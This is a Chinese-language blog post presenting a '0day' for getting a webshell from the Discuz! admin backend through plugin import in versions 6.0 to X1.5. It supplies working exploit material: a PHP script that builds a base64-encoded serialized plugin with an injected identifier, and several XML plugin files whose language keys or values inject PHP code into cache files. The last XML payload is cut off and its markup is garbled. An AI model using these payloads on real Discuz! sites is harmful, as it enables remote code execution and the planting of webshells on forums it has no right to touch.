Discuz! 2011所有版本后台拿Webshell 0day

从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。一 Discuz! 6.0 和 Discuz! 7.0既然要后台拿Shell,文件写入必看。/include/cache.func.php

往上翻,找到调用函数的地方.都在updatecache函数中.

如果我们可以控制$plugin[identifier]就有机会,它是plugins表里读出来的.去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情./admin/plugins.inc.php

还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.

随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用./forumdata/cache/plugin_shell.php

我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的./forumdata/cache/plugin_a]=phpinfo();$a[a.php

最后是编码一次,给成Exp:<?php$a = unserialize(base64_decode (“YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIwIjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNoZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNjcmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7fQ==”));//print_r($a);$a[plugin][name]=GetShell;$a[plugin][identifier]=a]=phpinfo();$a[;print(base64_encode(serialize($a)));?>

7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选”允许导入不同版本 Discuz! 的插件”二 Discuz! 7.2 和 Discuz! X1.5以下以7.2为例/admin/plugins.inc.php

先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.

判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……我们只要控制scriptlangstr或者其它任何一个就可以了。

Key这里不通用.

7.2

X1.5

还是看下shell.lang.php的文件格式.

7.2版本没有过滤Key,所以直接用废掉单引号.X1.5,单引号转义后变为,再被替换一次,还是留下了而$v在两个版本中过滤相同,比较通用.X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件$v通用Exp: <?xmlversion=”1.0″encoding=”ISO-8859-1″?><root><itemid=”Title”><![CDATA[Discuz! Plugin]]></item><itemid=”Version”><![CDATA[7.2]]></item><itemid=”Time”><![CDATA[2011-03-16 15:57]]></item><itemid=”From”><![CDATA[Discuz! Board (http://www.hacker8.info/Discuz_7.2_SC_UTF8/upload/)]]></item><itemid=”Data”><itemid=”plugin”><itemid=”available”><![CDATA[0]]></item><itemid=”adminid”><![CDATA[0]]></item><itemid=”name”><![CDATA[www]]></item><itemid=”identifier”><![CDATA[shell]]></item><itemid=”description”><![CDATA[]]></item><itemid=”datatables”><![CDATA[]]></item><itemid=”directory”><![CDATA[]]></item><itemid=”copyright”><![CDATA[]]></item><itemid=”modules”><![CDATA[a:0:{}]]></item><itemid=”version”><![CDATA[]]></item></item><itemid=”version”><![CDATA[7.2]]></item><itemid=”language”><itemid=”scriptlang”><itemid=”a”><![CDATA[b]]></item><itemid=”);phpinfo();?>”><![CDATA[x]]></item></item></item></item></root>7.2 Key利用<?xmlversion=”1.0″encoding=”ISO-8859-1″?><root><itemid=”Title”><![CDATA[Discuz! Plugin]]></item><itemid=”Version”><![CDATA[7.2]]></item><itemid=”Time”><![CDATA[2011-03-16 15:57]]></item><itemid=”From”><![CDATA[Discuz! Board (http://www.hacker8.info/Discuz_7.2_SC_UTF8/upload/)]]></item><itemid=”Data”><itemid=”plugin”><itemid=”available”><![CDATA[0]]></item><itemid=”adminid”><![CDATA[0]]></item><itemid=”name”><![CDATA[www]]></item><itemid=”identifier”><![CDATA[shell]]></item><itemid=”description”><![CDATA[]]></item><itemid=”datatables”><![CDATA[]]></item><itemid=”directory”><![CDATA[]]></item><itemid=”copyright”><![CDATA[]]></item><itemid=”modules”><![CDATA[a:0:{}]]></item><itemid=”version”><![CDATA[]]></item></item><itemid=”version”><![CDATA[7.2]]></item><itemid=”language”><itemid=”scriptlang”><itemid=”a”><![CDATA[=>1);phpinfo();?>]]></item></item></item></item></root>X1.5<?xmlversion=”1.0″encoding=”ISO-8859-1″?><root><itemid=”Title”><![CDATA[Discuz! Plugin]]></item><itemid=”Version”><![CDATA[7.2]]></item><itemid=”Time”><![CDATA[2011-03-16 15:57]]></item><itemid=”From”><![CDATA[Discuz! Board(</item”>http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item&g

让我们从自身的禁锢中放心地飞出去,重新审视自己,

Discuz! 2011所有版本后台拿Webshell 0day

相关文章:

你感兴趣的文章:

标签云: